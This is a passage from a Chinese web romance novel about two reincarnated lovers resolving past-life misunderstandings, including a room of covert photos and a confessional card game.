就算他做了很多不好的事情,以祁厌对亲人的耐心,一定会包容他、原谅他。 第105章 现世 新的人生 “萝卜已经泡入味了吗?会不会太辣?” 夏云惬轻声问他, 祁厌很早就给她发信息,如果午餐时间,对面还是没有动静的话, 就麻烦她给沈溪流带了一碗海鲜粥和开胃的酸萝卜。 “他们俩是不是闹矛盾了?”外婆有些怀疑,想起外公说的话, 一大早上, 祁厌急急忙忙地离开,连话都没和他多说两句。 夏云惬也有些怀疑,想着询问祁厌, 对方也只是说没发生什么,让他们不用在意 “不辣,挺好吃的。”沈溪流摇头说道, 他本来是没有任何胃口, 可是一想到夏云惬说的话,就想要全部吃完。酸甜的萝卜很开胃,清脆爽口,唤醒他的食欲,随着海鲜粥进入胃部,微微抽痛的地方变得舒服许多。 夏云惬闻言, 笑着点头:“那就好, 这是祁厌自己泡的, 之前还和他外婆争论要不要放小米辣, 担心你吃不了, 现在看来应该没问题。” 沈溪流一顿:“他自己做的?” “嗯,他外婆很喜欢吃,前天的时候,他们两个人一起去采购回来。”酸甜口味的脆萝卜很开胃, 外婆喜欢早上配着粥吃,两人一起做的时候,祁厌考虑到沈溪流不能吃辣,格外泡了一小坛,还和外婆讨论了要不要放小米辣,增添风味。 “其实还是放了几颗别的辣椒,毕竟不放的话,没有这个味。”外婆勒令祁厌听自己的话,准没有错。不能不放,少放一些,或者换种辣椒,其实辣度并不明显。祁厌认为外婆是扯谈,他们那地区的人,最喜欢加了大量辣椒以后,来一句不辣。 不过这次外婆确实没有糊弄他,次日尝了一口,确实不辣,原本准备再泡一坛的祁厌打算先让沈溪流尝尝,看看沈溪流的反馈再说。 “……” 听完夏云惬说的话,沈溪流突然感觉到鼻子有些酸涩,心底说不出的高兴,他很喜欢被祁厌放在心上的感觉,但又好害怕祁厌恢复记忆以后,不要他了。 那样糟糕惨烈的结局,会不会再次重演? 沈溪流一直以来都在想办法阻止局面发展成那种样子,理智告诉他,一定没有问题,但是感情却不受控制,恐惧始终埋藏在心底,一点点发酵着,从小时候就纠缠着他。 拥有记忆的祁厌,不会爱他,也不会救他,所以那一次没有出现在初次相遇的地点,任由着他去死。 每每想到这点,沈溪流就止不住害怕,连泪水都不受控制地从眼眶滚出。 “溪流怎么哭了?”夏云惬吓了一跳,连忙取出手帕,想要递给他。 “……没事的,谢谢。”沈溪流伸手挡住自己的脸,深觉得有些狼狈,只要是关于祁厌的事情,他永远做不到理智,“只是有些太高兴了。” 高兴到想要现在就死掉,然后就不用面对接下来恢复记忆的祁厌的审判,让好不容易获得希望的他再次坠入地狱,这样实在是太让人痛苦,仿佛被一只无形的手扼住喉咙,无法呼吸。 真的只是高兴吗?夏云惬轻轻将手帕放到他手肘旁边,没有看向沈溪流:“嗯,但要是祁厌看到,估计会生气。” “怎么会呢。”祁厌永远不会因为这种无聊的事情对您生气,沈溪流擦掉眼泪,他的情绪依然不稳定,“他不是这么容易生气的人。” “是啊,他的确不是一个容易生气的人,但如果看到亲近的人伤害自己的话,他会很生气的。”夏云惬很认真地对他说。 这一刻,对视上那双和祁厌非常相似的眼睛,沈溪流感觉自己好像彻底被夏云惬看透了一样。 他忍不住闪躲这样的目光。 夏云惬拿起手帕,帮他擦了擦脸颊处的泪痕:“我不知道你们发生了什么,但不用担心太多,祁厌一定很喜欢你,很关心你,所以才让我们注意你有没有出门,有没有吃早餐、午餐……” 祁厌的性格没那么热情,温柔也是有限的,他很少会对别人那么细心。 夏云惬知道,沈溪流在祁厌眼里的地位不一般,一定非常喜爱,所以才注意这么多细节。 沈溪流没必要惶恐,祁厌是有问题就说的人,等他弄明白以后,肯定会和沈溪流好好谈谈。 …… 祁厌正要敲响翟医生的家门,就听见里面传来一道声音。 “你不用问了,事关病人的事情,我是绝对不会告诉你!”翟医生非常坚决地说着,“这是我的职业操守,不管你怎么威逼利诱,就算是把我绑架回来,我也绝对不会说的!” 随着最后一个字响起,大门被猛地拉开,挂掉电话的翟医生和门外刚举起手、准备敲门的祁厌面面相觑。 翟医生严肃的表情瞬间变得温和:“祁厌,你现在上门来找我,是有什么事情吗?” “是的,有事想要询问。”祁厌放下敲门的手,礼貌道,“真是不好意思,翟医生,这种时候来拜访你,打扰了,你这是要出门吗?” 他在酒店整理着前世今生的记忆,好不容易压下那一阵阵的头疼,梳理完记忆,已经下午六点左右。 “一件小事而已,不过既然你来了,还有事情要谈,就进来吧。”翟医生和气邀请他进来,他家里的环境布局得很温馨,给人一种亲切放松的氛围感。 祁厌接过他泡的咖啡:“谢谢,叨扰了。” “无妨。”翟医生坐在桌子的对面,温和地望着他,“祁厌,你是有什么事情要谈?” 祁厌喝了口咖啡,开门见山道:“是这样的,我想请问一下,您当年为何会突然搬到我家隔壁?根据我所知道的,您当时应该是在国外工作吧?” 翟医生作为国际知名的心理医生,长居国外,在国外知名大学任教,深入研究精神方面的教育,极其擅长治疗心理疾病,在这方面的心理学领域地位极其高,受人敬仰的他,不该突然回国,还搬到一个普通的小区里。 对上祁厌审视的目光,翟医生没有任何惊异,始终保持着温和的平静:“嗯,确实,本来当时还有不少工作,不过受朋友之托,所以就回来了。” 他没有隐瞒,朋友希望他帮助两个特殊的小朋友看病,所以他就回来了。 “那我的记忆。”祁厌冷静地盯着他,“和你有关系吗?” 祁厌的记忆已经整理好,但在翟医生这方面,依然是缺少的,只有隐隐残留着少许迹象。不过他的声音却无比深刻地留在脑海里,伴随着记忆一起复苏,仿佛就是打开记忆的钥匙。 翟医生微笑道:“有时候,不属于自己的记忆只会带来折磨,小孩子无法承担痛苦而悲哀的人生。” 他没有正面回答。 祁厌垂着眼帘,小时候的自己确实无法承受那样的记忆,几乎成了折磨,花费一年时间,都没有让自己变得正常。 大量痛苦记忆的涌现,让本就没有自我意识被冲碎,小祁厌分不清楚自己是谁。不同的记忆碎片出现,让他以为自己是不同时期的自己,不断地质疑自己。 有时仿佛回到前世对不起妈妈时,拼命向她道歉;有时仿佛回到现在,疑惑妈妈为什么这么担心他;有时仿佛回到前世死前,把妈妈当幻觉,分不清楚现世,准备跳楼…… 那时候,他和夏云惬的位置调换了,上辈子发疯的是夏云惬,这辈子发疯的是他。 “谢谢。”祁厌由衷地道谢。 如果这些前世记忆没有消失的话,他根本无法顺利成长到现在,在自我意识健全以后,再接收这些前世记忆。 翟医生摇了摇头:“你该感谢的人不是我。” 他只是收钱做事,真正厉害的人是敢安排这件事情,敢让他知道所谓的“重生”,也根本不在意透露出未来数十年会发生的事情。 “不,您也是我应该感谢的人。”祁厌当然知道还有人需要感谢,但翟医生也在其中。 他没有打扰对方很久,问明白事情以后就离开,踩着时间点,前往沈家。 “你来得挺是时候。”由管家带着进入书房,坐在办公桌后的长辈正在翻一本相册,没等祁厌说打扰了,就伸手让他过去,把相册递给他,“看看吧,少年时期的溪流,很漂亮吧?” 沈家主一脸笑眯眯地指着照片上的少年,留着及腰的墨色长发,戴着帽子和墨镜,身穿修身的黑色服装,手里拿着一台相机。墨镜遮挡住半张脸,清冽精致的脸颊显得柔和,苍白的肤色有点病态又矜贵,整个人看起来有些冷酷又神秘,姿态透着优雅的中性风。 “……” “怎么不说话了?”沈家主看着保持沉默的祁厌。 “……我见过‘她’。”祁厌叹了口气。他们的确见过,而且是在高中时候,曾经在景区遇到几次,但没有认出来。 他只以为是一个到处拍摄风景的女性omega,完全不知道那是沈溪流。对方意外拍下一张不错的照片,还拿过来给他们,用着专业拍摄的人说出来的话,说是感觉刚才他们和景色融合得很美,所以没忍住冒犯地拍摄下来。 现在想来,当时看似在拍摄风景的人,其实是在拍摄他吧。 “有点吓人,对吧?”沈家主点点头,让他坐下,“一想到过去的十几年里,有人在暗地里跟踪自己,挺可怕的,甚至一不小心就可能留下心理阴影。” 他尽量委婉地说着,不想用病娇、痴汉、变态之类的名词来形容自己的外甥。 祁厌:“……” 说实话,他很讨厌有人跟踪自己,从前世到现在都是这样,易鸿立给他留下太深刻的心理阴影,就连沈溪流后来的派人监视,也……间接导致了好友的死亡。 祁厌本该生气的,却在此刻选择了沉默,不知道该说什么,最后还是岔开话题。 “请问,当年是您促使我们和家人提前团聚的吗?” 如果按照前世的历程,起码还得好几年才能相遇,以祁厌当时的状态,根本做不到联系外公外婆和舅舅舅妈。但翟医生的出现改变了他的情况,舅舅也因为工作而到来,顺理成章地促使他们的相遇,所有的一切都被人仔细安排过了。 “不,并不是我。”沈家主摇了摇头,很认真地对祁厌道,“是溪流做的。” 在祁厌的事情上,沈溪流喜欢亲力亲为,在沈家主让他冷静下来以后,便开始着手安排所有事情。 就算祁厌恨着他,想要他死,沈溪流也只想要还他一个新的人生。 第106章 现世 痛屋 在沈溪流的拜托下, 沈家主找到翟医生,让祁厌丢掉本就不想要的记忆,帮助夏云惬治疗;安排祁境生的到来, 让他和夏云惬、祁厌母子相遇;再处理易家,让易鸿立和宋意礼找不到祁厌他们, 给祁厌创造本该属于他的环境…… 原本是想直接解决易家, 但或许是私心,又或许是想要让祁厌亲自报仇,所以没有做太多。 不过这么多年以来, 易鸿立也没有表面那么好过就是了。 毕竟重生以后的沈溪流很擅长给人希望,又给人绝望,反反复复地在商场上戏弄过他数次。虽然算不得什么, 但勉强是沈溪流为数不多的乐子吧。 说完该说的话, 沈家主从抽屉里取出一份文件递给祁厌:“其实我不希望你有太大的压力,这是溪流给你准备的礼物,但一直以来都不敢送给你,也知道你不会接受。” 祁厌打开文件一看,彻底僵硬在原地了。 “这房子,他特意安排人照顾, 希望和你幼时记忆里的一模一样。”文件里是关于夏家老宅的一切, 祁厌出生以后居住的地方, 充满他们一家的回忆, 可惜后来被易鸿立拍卖了。 前段时间, 他还陪夏云惬在附近转过一圈,只不过没有进去,毕竟老宅早已属于别人,以如今的物价, 还有买主的地位,他们根本买不回来。 结果没想到,沈溪流居然早就拿到手了,而且看文件里的拍摄照片,里面的布局与幼时的记忆如出一辙,就连大厅里摆放的古董家具都是按照记忆摆放,彻底还原过去的模样。 这让祁厌感到一阵愕然。 “我记得……那些古董,应该也早就被拍卖了……”照片里的很多古董,祁厌记得早就被拍卖掉了,但他现在却在老宅里看见了。 就连易鸿立还没被抓之前,他和顾燕行怀疑藏有证据的古董,都在其中。以沈溪流的性格,是不可能用造假的物品,所以只有可能是他一个个收集回来,试图将一切还原成祁厌记忆里的样子…… “嗯,溪流费了不少功夫,全部带回来了。”沈家主说。 听到这话,祁厌突然感觉到有些压力了,如果光靠他自己,大概是这辈子都不可能收集回来,也没想过要收集回来,却不料…… 连他都没想过能做的事情,沈溪流全部都做了。 “他没有必要做到这种地步。”祁厌伸手碰了碰额头,忍不住叹气。 真的没有必要,在这一次的人生里,沈溪流并不欠他。 “他想做,所以就做了。”沈家主习以为常,轻笑道,“他本来就是这样的人,不做这些事情,他只会觉得不安惶恐,多做一些,反而能够安慰自己。你别因为他做出这种蠢事,就给自己施加压力,溪流很自私的。” 沈家主看得很明白,沈溪流做出这么多事情,未尝没有想过借此来“逼迫”祁厌,毕竟沈溪流最了解祁厌的为人,知道这人吃软不吃硬,知道怎么让他多看自己一眼,多为自己停留。 这一世,他只要别再做错,他们一定不会再走到前世那种地步。不过想得透归想得透,理智与情感相悖,理智明白,情感却不听使唤,前世的结局依然是沈溪流的心理阴影,尤其是当祁厌没有在那个地点出现的时候。 沈家主就知道,只要沈溪流活着的一天,就难以从中走出,除非祁厌愿意拉他一把。 祁厌慢慢合上文件,沈溪流很自私吗? 他不觉得沈溪流自私,如果他真的自私,早就该像上一世那样肆意妄为,而不是在暗地里为他做这么多事情。 独自一人承担着记忆带来的痛苦,却始终不敢出现在他面前,偷偷摸摸地跟在后面,为他安排好一切,却把自己全新的人生变成一个笑话。 明明这一次,沈溪流什么错都没有,也什么都没有发生,反而因他的存在,自己得到了前世梦寐以求的人生。 …… “我们谈谈吧?” 缓慢的敲门声响起,祁厌先回家一趟,向妈妈询问了沈溪流的情况,才转过来敲门,结果敲了好几下都没有听见里面传出声音,索性用身上的备用钥匙打开门进去。 沈溪流在屋里,玄关的鞋子没有动过,和今天早上离开时一样。但这一次沈溪流并不在他经常待着的地方,而是在那间祁厌从未进过的房间,之前被祁厌笑称蓝胡子房间的地方。 大概是里面睡着了,祁厌敲了好几下门,又问了两句,沈溪流都没有给予回复。 这显得不太正常,毕竟祁厌知道沈溪流只要在的话,很快就能给予回复,但现在等了十几秒钟,沈溪流居然还没有回复,这就不太正常了。 “沈溪流,你在吗?” 祁厌担心他出事,又问了一句,依然没有回答,就干脆用沈溪流忘在外面的钥匙直接打开门,闯了进去。 外面的光线流泻进入昏暗的房间,隐隐能够看到有人躺在地上睡觉,他好像终于惊醒了。 “你怎么在这里睡觉?不冷吗?为什么连灯都没有打开?”祁厌拧紧眉头,现在已经进入冬天,虽然有空调,但直接躺在地上睡觉,对身体相当不好。 “等……等等!”注意到站在门口的祁厌伸手去摸索墙上的灯光开关,沈溪流吓一跳,他扯下头戴式耳机,从地上爬了起来,“祁厌,别开灯!” “啪嗒!” 他说慢了一句,祁厌的手已经反射性按下开关,漆黑房间里的灯光啪嗒一下打开,白色明亮的灯光将整个房间照得清清楚楚,密密麻麻的熟悉照片映入眼帘! 照片的数量多得相当可怕,祁厌下意识看了过去,除了有些照片有些熟悉,却还有着偷拍视角,隐隐流露出房间主人扭曲的变态偷窥欲。 但凡换成正常人,一下子看见这么多自己被偷拍的照片,估计能感到一股毛骨悚然的寒意。 不过祁厌只是淡淡地瞥了一眼,就把目光落在跪坐在地上的沈溪流,扯下的头戴式耳机丢在一旁,神色慌张地望着他,好像很害怕引起他的反感。 “不冷吗?”但是祁厌并未对这个房间表现出一丝异样,问了沈溪流一句,就转身走出去。 这下子,沈溪流更加慌乱了,连忙爬起来,试图给他解释:“祁厌,对不起,我不是故意……不,真的很对不起!我只是想要用照片控制自己的情绪,不是故意偷窥你,我只是害怕自己冲动到出现在你的面前,干扰你的人生,所以才做……” “哗!”一条厚重的毛绒毯子盖在了沈溪流的身上,将他惊慌失措的解释给打断了,冰凉的身体被暖意包裹着,“我说,你不冷吗?只穿这么点衣服睡在地上,还连拖鞋都没有穿……” 祁厌皱紧眉头,蹲下身把拖鞋放到他脚边:“抬脚,好好穿着,着凉了很难受。” “……” 沈溪流愣愣地听从他的话,把拖鞋穿上,有些小心翼翼地问他:“你……不生气吗?” 祁厌抬眼看着他恐慌的模样,沉默一瞬,说实话,他不太想要在沈溪流那张脸上看到这种陌生的、不该属于他的表情。 “为什么要生气?”祁厌站起身,很平静地说,“不就是痛屋吗?” “别那么在意,我得感谢,最起码,你没把我的形象定制成抱枕、水杯、痛衣、手办、棉花娃娃之类的东西,天天拿在手上把玩。” 他表妹就是这样,对比起表妹对待喜欢的某些动漫角色,沈溪流不过是拍了一房间的照片,粘得多了一些而已。 沈溪流有些怔住了:“还……还能这样吗?” 听起来……好像挺不错的样子? 祁厌:“……” “你别学我妹。”祁厌让沈溪流打住,别露出蠢蠢欲动的样子,拉着他坐到沙发上,“我今天上午把记忆整理清楚以后,就去找了很多人,所长和翟医生、沈舅舅我都找过了,原本还想找何笙医生,不过他人在c市,我只打了电话给他……” 祁厌有条不紊地给他说着自己今天的日程表,上午整理记忆,下午去找人,原本连江与青和顾燕行也打算见一面。结果电话打通的时候,两人正在机场,伴随着顾燕行的求救声,江与青笑呵呵地感谢他对象,终于把顾燕行绑架走了…… 中途还有机场的警察来问话,但都被江与青以情趣打发离开。 祁厌把日常说完,一边泡了两杯茶,在沈溪流紧张的视线下,取出一副牌:“现在,我们玩个游戏吧,还记得游戏规则吗?” 他今天的日程表并不是随便安排,只有弄清楚沈溪流这么多年来,究竟做了哪些事情,他们才能好好地进行这一场真心话。从前世到今生,横跨在他们之间的问题,或许早就该彻底解决了。 祁厌修长的食指和中指夹着那张关键的鬼牌,对着沈溪流晃了一晃:“这次稍微改改,赢家可以询问输家任何问题,输家必须如实说出,不得说谎隐瞒。” 这是他们之前在祁厌的易感期期间玩过的抽鬼牌游戏,面对着这样平静的祁厌,沈溪流感觉他始终紧绷的神经好像放松了,就连心情都平静下来。 “如果你赢了,无论是这辈子的事情,还是上辈子的事情,包括你当初喝醉酒后发生的每一件事情,我都可以告诉你。”祁厌看着沈溪流逐渐放松的表情,认真道,“并不是什么太糟糕的坏事。” 或许,能让沈溪流不再那么痛苦。 “真的?” 沈溪流倏然睁大眼睛,紧紧盯着祁厌。上辈子他也曾问过祁厌,喝醉酒后发生什么事情,为什么每次喝完酒,祁厌的态度都会产生微妙的变化,但他从来没有正面回答过。 太多在意的事情了,前世遗留下的问题,让沈溪流日夜不得安心。 祁厌现在的态度,却让他忍不住升起一丝希冀。 第107章 现世 真心话 上次游戏是为了打发时间和了解彼此, 这次游戏简化很多,祁厌只拿了两张牌,鬼王和红心A, 毕竟不是真的想要玩游戏,只是一个给彼此解答的机会。 然而, 这一次沈溪流好像没有上次那样游刃有余, 第一把就抽错了牌。 “那我就直接问了。”祁厌盯着他手里的鬼牌,有些意外。 毕竟恢复记忆以后,他知道沈溪流在这些方面挺厉害的。不说前世在轮船上的经历, 和听其他人提起的事件,就连他们上一次玩游戏的时候,沈溪流也是游刃有余地赢了无数次以后, 才特意给他放水。 没想到自己居然会抽错的沈溪流, 看着手里的鬼牌,再一看祁厌逐渐认真的表情,心头蓦地一紧。 “这一次为什么派人监视我?”祁厌不喜欢绕弯子,打开手机相册,把之前祁戈给他发的照片调出来,直接放在沈溪流的眼前, “你应该知道的, 我很厌恶有任何人在背后跟踪监视我。” 祁厌的表情很认真, 语气也有些冷。前世的跟踪给祁厌留下太糟糕的印象, 让他始终无法忘怀, 那一次去问沈溪流的时候,对方的态度很冷淡,更是让祁厌感到一股无名火。 他其实知道当时对方做的理由,询问是没有必要的, 但是还是问出口,只是依然希望从沈溪流口中得到一个解释,或者稍微带点歉意也好…… 而沈溪流也是一下子想起来这事,他紧攥着手,指甲嵌入手心,极力控制着慌张的情绪,连忙解释道:“对不起,我当时只是担心易鸿立伤害你,才派人跟在你周围盯着,只负责你的安全!他们并没有偷拍你的照片,没有侵犯你的隐私,房间里的照片都是我自己拍的,不过当我们再次相遇以后,我就没有再偷拍了……” 因为没有必要了,祁厌就在他身边,不用终日看着那些照片度日。 “……这个理由,你能接受吗?”沈溪流害怕祁厌露出反感的表情,小心翼翼地问他,“我以后不会再派任何人跟踪你了,易家名下的资产都已经被封,易鸿立和宋意礼、易扬都被抓了。” 易鸿立身上的案子很多,宋意礼涉嫌谋杀祁厌的外公外婆,易扬之前派人去学校,把祁厌要用的药物换成违禁品,或许关不久,但这一次沈溪流会派人盯得很久。 听完沈溪流的解释,祁厌想起当初他被易鸿立的保镖带走,沈溪流及时赶来救场的事情。 “可以接受。”祁厌点点头,“只要以后你不再派人跟踪就行。” 跟踪的人确实在易鸿立被抓不久后就消失了,原本祁厌对着生病的沈溪流问不出口,还想找徐哥他们帮忙,把人逮住,直接询问,但因为沈溪流早已撤走,导致他们抓了个空。 徐哥还问他,是不是被人跟踪的ptsd犯了。 听到这话,沈溪流总算松口气,后背隐隐发凉,但他仍然不敢放松警惕。 下一局,依然是祁厌赢。 沈溪流拿牌,尽管他想控制自己的心情,但和祁厌面对面的时候,总是失控的,祁厌一看他的表情,几乎是不费吹灰之力抽到红心A。 “第二个问题。”祁厌摩挲着手里的红心A,“家里的仪器有问题对吧?一直以来,我看见的报告单都是错误的,是吧?” 他这个其实是两个问题,但祁厌不在意,沈溪流也不在意,毕竟核心依然是一个问题。 祁厌今天第一个去找的人是沈云殊,但沈云殊什么都没有告诉他,反而笑眯眯地说:“想要得到答案,你起码得先告诉我一下,你们的秘密是什么吧?” “拿这个来换怎么样?”沈云殊很有兴致。 但与他共事一段时间,祁厌挺了解他的恶劣程度,真要告诉沈云殊这件事情,接下来肯定就麻烦大了。 于是放弃在沈云殊那里得到答案,反正沈溪流才是关键。 “沈溪流,我不喜欢别人隐瞒我。”祁厌提醒他。 “……我不会再骗你了!”沈溪流没想到祁厌问自己的第二个问题,居然会是他的身体情况,眼底微微泛起水光。他起身去那间痛屋,把所有检查报告都拿出来,“对不起,我不是故意想要骗你,只是想让你高兴一些。” 沈溪流是个很矛盾的人,他既想要逼迫祁厌和他在一起,又不想要逼迫他。仪器都被沈云殊动过手脚,没那么容易发现真相,沈溪流故意给祁厌造成了一个假象,他的身体因为祁厌的存在转好,但其实并没有。 反而因为情绪的波动太大,一直在恶化中。 “我并不会因为这种事情而感到高兴!”祁厌有些低气压地打断他,“再说一遍,我不喜欢人隐瞒我,你做这种事只会让我感到愤怒,你懂吗?” “嗯。”看着他生气看报告的样子,沈溪流并没有感到害怕,心底的情绪反而有些好转。如果祁厌真的厌恶他,他的做法大概就和前世一样,什么都不在意,也不会放在心上。 “……” 祁厌瞥了他一眼,再看真正的检查报告单,真不知道沈溪流这种时候怎么笑得出来! 也不知道沈云殊怎么这么大胆地帮助沈溪流隐瞒,要不是他现在恢复记忆,或许还会继续蒙在鼓里,再过一两年恢复记忆的话,沈溪流正好可以走上他前世的道路。 “这样下去不行,等明天,你和我一起去研究所。”祁厌没有询问他的意见,就这样定下来。 沈溪流说:“好。” 祁厌看见他脸上浮现的笑容,不知道沈溪流有什么好高兴的。现在仔细想来,祁厌记得沈云殊曾经故意拿着一份很严重的病人病历在手里,还问他要不要看,估计那时候,沈云殊就是在提示他了。 只可惜当时的祁厌注意力全在沈溪流身上,并没有发现沈云殊的这个暗示。 “继续吧。”祁厌将牌拿在手上,沈溪流已经连输两回,但两局进行下来,他的情绪稳定许多,这一次总算能够冷静地观察祁厌的神情。 然而,什么都看不出来,祁厌并不在意输赢,目光甚至没有落在牌上,沈溪流却太过于在意,连输两局以后,更加在意。 即使现在冷静下来,沈溪流也有些摸不准,以至于连自己向来引以为豪的观察力都观察不出什么,感情控制理智的下场,大概就像他这样,变得糊涂,最后索性随便一抽。 好在这一次,他运气不错,抽到了红心A。 祁厌盯着手里的鬼牌,手指轻翻,落在沙发上,缓缓笑了起来,抬眸盯着神色难掩激动的沈溪流:“问吧,现在无论是什么问题,我都会回答你。” 问题太多了。 比起祁厌,沈溪流心底有太多太多的问题,前世的问题,今生的问题,多到他不知道该从哪一个问题问起。 “为什么……为什么,你那时候没有出现?”大脑几乎是不假思索,沈溪流没有思考地问出了最在意的问题,连声音都带着一丝哽咽。 为什么你没有在那里出现? 你明明不是那么冷漠的人,为什么会丢下我一个人在那里,就算你不在意我,拥有记忆的你,也可以救我,再抓住这个机会,利用我! 沈溪流曾经能够想得到的理由,只有一个,那就是祁厌恨他,希望他早死。 不用沈溪流说出是哪时候,祁厌就知道他问的是什么。 他垂眸玩着手里的鬼牌,想了想:“这次没有必要出现在你的面前。” “!”听到这话,沈溪流几乎浑身一僵。 就听祁厌平缓地继续说道:“本来就是孽缘,没有必要再重复一次。”如果可以,确实不希望再相遇,与其继续重复糟糕的人生,不如早早就断掉。 只是没想到那时候的沈溪流也重生了。 “那名交警,是我提醒他的。”虽然想要断掉这段孽缘,但是祁厌确实做不到无视沈溪流,或者说任何一条无辜的生命丧生于车流之中。 看见交警把沈溪流给拉回来以后,他才离开,本以为这样就可以断掉关系,结果终究是被沈溪流强行续上了。 “所以你当初就在附近吗?”即使心里已经有答案,沈溪流还是迫不及待地问出口,紧张又期待地望着他。 与他对视,祁厌缓缓点头:“嗯,我看见你被交警拉回来以后,才离开的。” 听到这样的话,沈溪流心神一晃,原来祁厌从来没有彻底丢下他,从来没有漠视他的生命,他当初出现了! 一直以来的痛苦折磨在这一刻变得微不足道,沈溪流感到无比的喜悦,心底的阴霾好似被扫荡一空:“原来如此,原来如此……” “游戏继续吧。”祁厌将牌整理好,交给他。 沈溪流连忙接过牌,解开心结后,他想要得到的答案越来越多,看祁厌的表情,再想想他的行事风格,说不定……说不定前世的很多事情,都没有自己想象得那么糟糕! “……” 修长的手指徘徊于两张纸牌上,祁厌有些沉默地瞥了一眼沈溪流的表情……太明显了。 几乎可以说是处处都是破绽。祁厌的手指放在红心A上,他就会下意识瞪大眼睛,手指放在鬼牌上,他的嘴角就会不自觉微微上扬…… 这份姿态,完全与以前喜怒不形于色的沈溪流毫无关系。 祁厌索性一闭眼,当作什么都没有发现,把鬼牌给挑了出来。 “还有什么问题?”祁厌道。 沈溪流好像有些察觉到了,但心底太多问题重叠着,他舔了舔干涩的嘴角,急切地问出口:“我想知道,你上辈子有没有喜欢过我?!” 太在意了,即使心底隐隐有了猜想。沈溪流仍然没有自信,他想要从祁厌的口中得知,他想要知道祁厌上辈子是否喜欢过自己,这份喜欢……又是不是比喜欢江与青更重、更多。 一想到前世的祁厌和江与青的关系,还有当初散步时,和祁厌的那段对话,沈溪流始终无法放下心。 ——【难道这么多年就没有喜欢过的人吗?】 沈溪流本以为这一世,很多事情都改变了,这一次祁厌应该不会有喜欢的人了吧? 结果,事情依然还是那么糟糕。 ——【有哦。】 ——【有一个暗恋的对象。】 光是回忆起来,沈溪流就如鲠在喉,尤其是想到前世祁厌和江与青有个孩子,他的心脏就开始钝痛,满心不甘,就连呼吸都带着难言的苦涩。 好在这一世,顾燕行还活着,而江与青喜欢顾燕行,现在两人凑在一起,以祁厌的性格,他做不出对不起朋友的事情。 三个人一起长大,确实是挺完美的青梅竹马关系。 祁厌曾经在山上解释过,但沈溪流仍然对那句“有一个暗恋的对象”的话耿耿于怀,尤其是联想到前世二人的关系。 第108章 现世 解脱 “有。” 祁厌没想到沈溪流会问这个问题, 盯着他想知道又害怕知道的表情,缓缓开口道:“我上辈子和这辈子都只喜欢过你一个人。” “真……真的吗?”沈溪流完全没想到会从祁厌嘴里听到这句话,差点按捺不住激动的心情, 眼睛都不敢眨一下,害怕错过任何一丝希望, 就听见祁厌继续说道。 “前世, 我和江与青只是演戏。这件事情,我曾经在你喝醉酒后解释过一次,他的孩子也不是我的, 而是顾燕行的。” 前世有太多误会,祁厌早该解释,但他到死都没有告诉沈溪流。本以为他总有一日会知道, 但现在看来, 沈溪流也到死都不知道他和江与青没有任何关系。 “包括之前和你在河边说的那句话,算是假的吧。”说假也假,说真也真,毕竟在梦里梦见过太多回沈溪流,从青春期贯穿到现在,每次都在做不可描述的事情, 祁厌很难不对梦里的人产生一些情愫。 不过这样的话, 还是别说出口吧。 多少有点尴尬。 虽然祁厌现在知道是前世的记忆, 但以前以为自己在梦里对某个omega/沈溪流做了那些事情, 就挺不好描述。 无法形容此刻的心情, 沈溪流整个人都被这样的信息给冲击到宕机了,连泪水掉下来了,都不想要闭上眼睛。 原来,他从前世到今生都嫉妒的人, 其实和祁厌没有任何关系。而且祁厌无论是上一世还是这一世,都只喜欢过自己一个人。这是沈溪流始终不敢想的事情,本以为自己无论是上辈子还是这辈子都会活在嫉妒中,日夜被嫉妒蚕食着心脏,却不料,他根本没有嫉妒的必要。 “还有,有些事情,我前世曾经给你解释过……”祁厌伸手给他擦了擦眼泪,泪水透到指尖,让他想起前世最后一次见面时,沈溪流也在哭;还想起前世某次酒醉后,沈溪流跑到他家,质问他的那些事情,于是连带着前世的情书和那些假对象,都重新解释了一遍。 沈溪流认真听着祁厌的每一句话,越听越睁大眼睛,期待在眸底灼灼燃烧着,忍不住攥紧双手,指节泛白,他的表情是难以形容的喜悦和不可置信,就连雀跃的情绪都在心底肆意翻涌。 “原来,在喝醉酒后,还发生过这么多事情吗?”沈溪流低声喃喃,有些不敢相信祁厌居然会在他喝醉酒后,说出这么多真心话,而他却什么都记不得。 本想问祁厌为什么不在他清醒时说出来,但话刚到喉咙就被卡住了,祁厌刚才说了,是因为他问了,所以祁厌才说的。而且祁厌之所以会说,估计是拿准他记不住,才没有心理障碍地说出来。 酒后很容易说出真心话,祁厌喜欢坦率的人。 偏偏前世的他只有在喝醉酒后,不受自以为是的理智控制,才会说出心底的种种问题。 那么……他们前世有在醉酒后接吻过吗? 沈溪流突然不受控制地开始猜想这件事情,前世他喝醉酒过好几次,每一次都和祁厌在一起,而且第二天…… 好多事情都不像他想象中的那样糟糕,祁厌愿意在他醉酒后解释问题,那么又是否在他醉酒后亲吻过他? 心底的问题越来越多,下一局继续进行。 沈溪流的不安在这两个问题之后,已经扫除得差不多,理智在逐渐上线。他没有必要这么紧张,没有必要害怕祁厌再次丢下他一个人。 当年“初遇”的误会解除,今早祁厌离开之后,也不忘让夏云惬来安慰他,回来以后,第一件事是找他、给他盖毯子、穿拖鞋,就连对他的那间房间也没有表现出反感,现在甚至愿意用游戏让他放松精神,给他解释过去的误会…… 一切的征兆都在说明,祁厌并没有打算就这样结束这段关系。 安心下来了。 这一回,轮到祁厌拿牌,沈溪流观察着他的表情,祁厌确实不在乎输赢,也不在乎他抽到什么牌,但是多少会有一些细微的变化,而微表情是无法骗人。 刚才什么都观察不出来,安定下来后的沈溪流,却恢复了以往的判断力。 “第三个问题。”祁厌微微挑眉,看着对面恢复冷静的沈溪流,悠悠笑道,“问吧,还有什么想知道的?” “我们前世接过吻吗?”沈溪流直接问出这个问题,或许只是一件无关紧要的小事,但他就是很在意! 已经在意到这辈子都死死记着,毕竟喜欢的人从未亲吻过自己,尽管他们什么都做过,却没接过吻,说出去,都让人觉得可笑。 “吻过。”祁厌把鬼牌递给他,“你第一次喝醉酒后,我们就接过吻,所以我才以为你多少有那么点喜欢我。” 结果没想到,醒来以后的沈溪流一次机会都没给他,甚至在宴会上,故意说出那样的话,把祁厌刺激到吐出来。 “……” 刚雨过天晴的表情瞬间又被阴霾覆盖,一想起自己当时的作态,沈溪流无法形容此刻的心情,但凡那时候他别总是摆出一副高傲的姿态,说不定他们上辈子根本不会走到那一步。 沈溪流抿了抿唇,深吸一口气,低着头:“……对不起,祁厌,对不起,我欠你很多道歉。”虽然现在说这些都没用,但是他必须说。 “嗯。”祁厌点头,淡淡道,“我知道,我接受,我也早就原谅你了。” 